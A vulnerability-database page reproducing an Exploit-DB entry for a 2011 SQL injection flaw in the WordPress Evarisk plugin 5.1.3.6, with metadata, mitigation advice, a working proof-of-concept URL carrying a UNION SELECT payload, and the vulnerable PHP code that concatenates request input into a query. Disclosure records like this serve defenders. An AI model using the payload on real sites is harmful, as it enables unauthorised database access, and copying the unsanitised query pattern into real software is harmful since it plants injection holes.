header-logo
Suggest Exploit
vendor:
Evarisk plugin
by:
Miroslav Stampar
N/A
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Evarisk plugin
Affected Version From: 5.1.3.6
Affected Version To: 5.1.3.6
Patch Exists: NO
Related CWE:
CPE: a:wordpress:evarisk:5.1.3.6
Metasploit:
Other Scripts:
Platforms Tested: WordPress (platform)
2011

WordPress Evarisk plugin <= 5.1.3.6 SQL Injection Vulnerability

The WordPress Evarisk plugin version 5.1.3.6 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a specially crafted request to the 'ajax.php' file, allowing them to execute arbitrary SQL queries.

Mitigation:

Update to a version of the plugin that is not vulnerable. Disable magic_quotes if it is enabled.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Evarisk plugin <= 5.1.3.6 SQL Injection Vulnerability
# Date: 2011-08-28
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/evarisk.5.1.3.6.zip
# Version: 5.1.3.6 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/evarisk/include/ajax.php?post=true&act=reloadCombo&table=wp_eva__veille_groupe_question&nomRacine=-1" UNION ALL SELECT 1,@@version,3,4,5,6,7--%20

---------------
Vulnerable code
---------------
if($_REQUEST['post'] == 'true')
{
    if(isset($_REQUEST['act']))
    {
        switch($_REQUEST['act'])
        {
            ...
            case 'reloadCombo':
                $racine = $wpdb->get_row( 'SELECT * FROM ' . TABLE_GROUPE_QUESTION . ' where nom="' . $_REQUEST['nomRacine'] . '"');